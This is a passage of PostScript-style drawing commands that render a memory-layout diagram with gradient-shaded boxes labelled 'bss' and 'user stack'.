0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS 2820 10000 5879 5802 DOCLIPBOX n 4240 6371 M (bss) ST GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6232 M 2848 6652 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 5848 6232 M 5848 6652 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6234 M 5852 6234 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5815 M 2848 6235 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 5848 5815 M 5848 6235 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 7234 M 5852 7234 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9986 M 5850 9986 L 5850 9974 L 2848 9974 L GS 0.0000 0.0000 0.0000 0.7490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9974 M 5850 9974 L 5850 9960 L 2848 9960 L GS 0.0000 0.0000 0.0000 0.7412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9960 M 5850 9960 L 5850 9948 L 2848 9948 L GS 0.0000 0.0000 0.0000 0.7333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9948 M 5850 9948 L 5850 9936 L 2848 9936 L GS 0.0000 0.0000 0.0000 0.7255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9936 M 5850 9936 L 5850 9923 L 2848 9923 L GS 0.0000 0.0000 0.0000 0.7176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9923 M 5850 9923 L 5850 9910 L 2848 9910 L GS 0.0000 0.0000 0.0000 0.7098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9910 M 5850 9910 L 5850 9897 L 2848 9897 L GS 0.0000 0.0000 0.0000 0.7020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9897 M 5850 9897 L 5850 9885 L 2848 9885 L GS 0.0000 0.0000 0.0000 0.6941 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9885 M 5850 9885 L 5850 9873 L 2848 9873 L GS 0.0000 0.0000 0.0000 0.6863 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9873 M 5850 9873 L 5850 9859 L 2848 9859 L GS 0.0000 0.0000 0.0000 0.6784 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9859 M 5850 9859 L 5850 9847 L 2848 9847 L GS 0.0000 0.0000 0.0000 0.6706 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9847 M 5850 9847 L 5850 9835 L 2848 9835 L GS 0.0000 0.0000 0.0000 0.6627 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9835 M 5850 9835 L 5850 9823 L 2848 9823 L GS 0.0000 0.0000 0.0000 0.6549 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9823 M 5850 9823 L 5850 9809 L 2848 9809 L GS 0.0000 0.0000 0.0000 0.6471 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9809 M 5850 9809 L 5850 9797 L 2848 9797 L GS 0.0000 0.0000 0.0000 0.6392 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9797 M 5850 9797 L 5850 9785 L 2848 9785 L GS 0.0000 0.0000 0.0000 0.6314 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9785 M 5850 9785 L 5850 9772 L 2848 9772 L GS 0.0000 0.0000 0.0000 0.6235 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9772 M 5850 9772 L 5850 9759 L 2848 9759 L GS 0.0000 0.0000 0.0000 0.6157 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9759 M 5850 9759 L 5850 9746 L 2848 9746 L GS 0.0000 0.0000 0.0000 0.6078 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9746 M 5850 9746 L 5850 9734 L 2848 9734 L GS 0.0000 0.0000 0.0000 0.6000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9734 M 5850 9734 L 5850 9720 L 2848 9720 L GS 0.0000 0.0000 0.0000 0.5922 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9720 M 5850 9720 L 5850 9708 L 2848 9708 L GS 0.0000 0.0000 0.0000 0.5843 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9708 M 5850 9708 L 5850 9696 L 2848 9696 L GS 0.0000 0.0000 0.0000 0.5765 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9696 M 5850 9696 L 5850 9684 L 2848 9684 L GS 0.0000 0.0000 0.0000 0.5686 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9684 M 5850 9684 L 5850 9670 L 2848 9670 L GS 0.0000 0.0000 0.0000 0.5608 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9670 M 5850 9670 L 5850 9658 L 2848 9658 L GS 0.0000 0.0000 0.0000 0.5529 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9658 M 5850 9658 L 5850 9646 L 2848 9646 L GS 0.0000 0.0000 0.0000 0.5451 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9646 M 5850 9646 L 5850 9634 L 2848 9634 L GS 0.0000 0.0000 0.0000 0.5373 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9634 M 5850 9634 L 5850 9620 L 2848 9620 L GS 0.0000 0.0000 0.0000 0.5294 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9620 M 5850 9620 L 5850 9607 L 2848 9607 L GS 0.0000 0.0000 0.0000 0.5216 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9607 M 5850 9607 L 5850 9595 L 2848 9595 L GS 0.0000 0.0000 0.0000 0.5137 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9595 M 5850 9595 L 5850 9583 L 2848 9583 L GS 0.0000 0.0000 0.0000 0.5059 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9583 M 5850 9583 L 5850 9569 L 2848 9569 L GS 0.0000 0.0000 0.0000 0.4980 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9569 M 5850 9569 L 5850 9557 L 2848 9557 L GS 0.0000 0.0000 0.0000 0.4902 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9557 M 5850 9557 L 5850 9545 L 2848 9545 L GS 0.0000 0.0000 0.0000 0.4824 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9545 M 5850 9545 L 5850 9533 L 2848 9533 L GS 0.0000 0.0000 0.0000 0.4745 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9533 M 5850 9533 L 5850 9519 L 2848 9519 L GS 0.0000 0.0000 0.0000 0.4667 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9519 M 5850 9519 L 5850 9507 L 2848 9507 L GS 0.0000 0.0000 0.0000 0.4588 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9507 M 5850 9507 L 5850 9495 L 2848 9495 L GS 0.0000 0.0000 0.0000 0.4510 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9495 M 5850 9495 L 5850 9481 L 2848 9481 L GS 0.0000 0.0000 0.0000 0.4431 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9481 M 5850 9481 L 5850 9469 L 2848 9469 L GS 0.0000 0.0000 0.0000 0.4353 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9469 M 5850 9469 L 5850 9456 L 2848 9456 L GS 0.0000 0.0000 0.0000 0.4275 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9456 M 5850 9456 L 5850 9444 L 2848 9444 L GS 0.0000 0.0000 0.0000 0.4196 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9444 M 5850 9444 L 5850 9430 L 2848 9430 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9430 M 5850 9430 L 5850 9418 L 2848 9418 L GS 0.0000 0.0000 0.0000 0.4039 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9418 M 5850 9418 L 5850 9406 L 2848 9406 L GS 0.0000 0.0000 0.0000 0.3961 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9406 M 5850 9406 L 5850 9394 L 2848 9394 L GS 0.0000 0.0000 0.0000 0.3882 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9394 M 5850 9394 L 5850 9380 L 2848 9380 L GS 0.0000 0.0000 0.0000 0.3804 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9380 M 5850 9380 L 5850 9368 L 2848 9368 L GS 0.0000 0.0000 0.0000 0.3725 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9368 M 5850 9368 L 5850 9356 L 2848 9356 L GS 0.0000 0.0000 0.0000 0.3647 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9356 M 5850 9356 L 5850 9344 L 2848 9344 L GS 0.0000 0.0000 0.0000 0.3569 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9344 M 5850 9344 L 5850 9330 L 2848 9330 L GS 0.0000 0.0000 0.0000 0.3490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9330 M 5850 9330 L 5850 9317 L 2848 9317 L GS 0.0000 0.0000 0.0000 0.3412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9317 M 5850 9317 L 5850 9305 L 2848 9305 L GS 0.0000 0.0000 0.0000 0.3333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9305 M 5850 9305 L 5850 9293 L 2848 9293 L GS 0.0000 0.0000 0.0000 0.3255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9293 M 5850 9293 L 5850 9279 L 2848 9279 L GS 0.0000 0.0000 0.0000 0.3176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9279 M 5850 9279 L 5850 9267 L 2848 9267 L GS 0.0000 0.0000 0.0000 0.3098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9267 M 5850 9267 L 5850 9151 L 2848 9151 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9986 M 5850 9986 L 5850 9151 L 2848 9151 L 2848 9986 L 5850 9986 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS 2820 10000 5879 5802 DOCLIPBOX n 4006 9288 M (user stack) ST GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9151 M 5852 9151 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6569 M 5850 6569 L 5850 6463 L 2848 6463 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6463 M 5850 6463 L 5850 6451 L 2848 6451 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6451 M 5850 6451 L 5850 6440 L 2848 6440 L GS 0.0000 0.0000 0.0000 0.3098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6440 M 5850 6440 L 5850 6428 L 2848 6428 L GS 0.0000 0.0000 0.0000 0.3176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6428 M 5850 6428 L 5850 6418 L 2848 6418 L GS 0.0000 0.0000 0.0000 0.3255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6418 M 5850 6418 L 5850 6406 L 2848 6406 L GS 0.0000 0.0000 0.0000 0.3333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6406 M 5850 6406 L 5850 6395 L 2848 6395 L GS 0.0000 0.0000 0.0000 0.3412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6395 M 5850 6395 L 5850 6383 L 2848 6383 L GS 0.0000 0.0000 0.0000 0.3490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6383 M 5850 6383 L 5850 6373 L 2848 6373 L GS 0.0000 0.0000 0.0000 0.3569 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6373 M 5850 6373 L 5850 6360 L 2848 6360 L GS 0.0000 0.0000 0.0000 0.3647 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6360 M 5850 6360 L 5850 6350 L 2848 6350 L GS 0.0000 0.0000 0.0000 0.3725 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6350 M 5850 6350 L 5850 6338 L 2848 6338 L GS 0.0000 0.0000 0.0000 0.3804 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6338 M 5850 6338 L 5850 6327 L 2848 6327 L GS 0.0000 0.0000 0.0000 0.3882 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6327 M 5850 6327 L 5850 6315 L 2848 6315 L GS 0.0000 0.0000 0.0000 0.3961 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6315 M 5850 6315 L 5850 6305 L 2848 6305 L GS 0.0000 0.0000 0.0000 0.4039 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6305 M 5850 6305 L 5850 6293 L 2848 6293 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6293 M 5850 6293 L 5850 6282 L 2848 6282 L GS 0.0000 0.0000 0.0000 0.4196 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6282 M 5850 6282 L 5850 6270 L 2848 6270 L GS 0.0000 0.0000 0.0000 0.4275 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6270 M 5850 6270 L 5850 6260 L 2848 6260 L GS 0.0000 0.0000 0.0000 0.4353 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6260 M 5850 6260 L 5850 6248 L 2848 6248 L GS 0.0000 0.0000 0.0000 0.4431 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6248 M 5850 6248 L 5850 6235 L 2848 6235 L GS 0.0000 0.0000 0.0000 0.4510 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6235 M 5850 6235 L 5850 6225 L 2848 6225 L GS 0.0000 0.0000 0.0000 0.4588 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6225 M 5850 6225 L 5850 6213 L 2848 6213 L GS 0.0000 0.0000 0.0000 0.4667 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6213 M 5850 6213 L 5850 6202 L 2848 6202 L GS 0.0000 0.0000 0.0000 0.4745 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6202 M 5850 6202 L 5850 6190 L 2848 6190 L GS 0.0000 0.0000 0.0000 0.4824 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6190 M 5850 6190 L 5850 6180 L 2848 6180 L GS 0.0000 0.0000 0.0000 0.4902 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6180 M 5850 6180 L 5850 6168 L 2848 6168 L GS 0.0000 0.0000 0.0000 0.4980 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6168 M 5850 6168 L 5850 6157 L 2848 6157 L GS 0.0000 0.0000 0.0000 0.5059 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6157 M 5850 6157 L 5850 6145 L 2848 6145 L GS 0.0000 0.0000 0.0000 0.5137 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6145 M 5850 6145 L 5850 6135 L 2848 6135 L GS 0.0000 0.0000 0.0000 0.5216 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6135 M 5850 6135 L 5850 6123 L 2848 6123 L GS 0.0000 0.0000 0.0000 0.5294 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6123 M 5850 6123 L 5850 6112 L 2848 6112 L GS 0.0000 0.0000 0.0000 0.5373 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6112 M 5850 6112 L 5850 6100 L 2848 6100 L GS 0.0000 0.0000 0.0000 0.5451 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6100 M 5850 6100 L 5850 6090 L 2848 6090 L GS 0.0000 0.0000 0.0000 0.5529 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6090 M 5850 6090 L 5850 6077 L 2848 6077 L GS 0.0000 0.0000 0.0000 0.5608 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6077 M 5850 6077 L 5850 6067 L 2848 6067 L GS 0.0000 0.0000 0.0000 0.5686 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6067 M 5850 6067 L 5850 6055 L 2848 6055 L GS 0.0000 0.0000 0.0000 0.5765 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6055 M 5850 6055 L 5850 6044 L 2848 6044 L GS 0.0000 0.0000 0.0000 0.5843 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6044 M 5850 6044 L 5850 6032 L 2848 6032 L GS 0.0000 0.0000 0.0000 0.5922 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6032 M 5850 6032 L 5850 6020 L 2848 6020 L GS 0.0000 0.0000 0.0000 0.6000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6020 M 5850 6020 L 5850 6010 L 2848 6010 L GS 0.0000 0.0000 0.0000 0.6078 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6010 M 5850 6010 L 5850 5998 L 2848 5998 L GS 0.0000 0.0000 0.0000 0.6157 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5998 M 5850 5998 L 5850 5987 L 2848 5987 L GS 0.0000 0.0000 0.0000 0.6235 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5987 M 5850 5987 L 5850 5975 L 2848 5975 L GS 0.0000 0.0000 0.0000 0.6314 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5975 M 5850 5975 L 5850 5965 L 2848 5965 L GS 0.0000 0.0000 0.0000 0.6392 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5965 M 5850 5965 L 5850 5952 L 2848 5952 L GS 0.0000 0.0000 0.0000 0.6471 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5952 M 5850 5952 L 5850 5942 L 2848 5942 L GS 0.0000 0.0000 0.0000 0.6549 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5942 M 5850 5942 L 5850 5930 L 2848 5930 L GS 0.0000 0.0000 0.0000 0.6627 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5930 M 5850 5930 L 5850 5919 L 2848 5919 L GS 0.0000 0.0000 0.0000 0.6706 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5919 M 5850 5919 L 5850 5907 L 2848 5907 L GS 0.0000 0.0000 0.0000 0.6784 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5907 M 5850 5907 L 5850 5897 L 2848 5897 L GS 0.0000 0.0000 0.0000 0.6863 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5897 M 5850 5897 L 5850 5885 L 2848 5885 L GS 0.0000 0.0000 0.0000 0.6941 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5885 M 5850 5885 L 5850 5874 L 2848 5874 L GS 0.0000 0.0000 0.0000 0.7020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5874 M 5850 5874 L 5850 5862 L 2848 5862 L GS 0.0000 0.0000 0.0000 0.7098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5862 M 5850 5862 L 5850 5852 L 2848 5852 L GS 0.0000 0.0000 0.0000 0.7176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5852 M 5850 5852 L 5850 5840 L 2848 5840 L GS 0.0000 0.0000 0.0000 0.7255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5840 M 5850 5840 L 5850 5829 L 2848 5829 L GS 0.0000 0.0000 0.0000 0.7333 SET_CMYK eofill GR 0.0000 0.0000 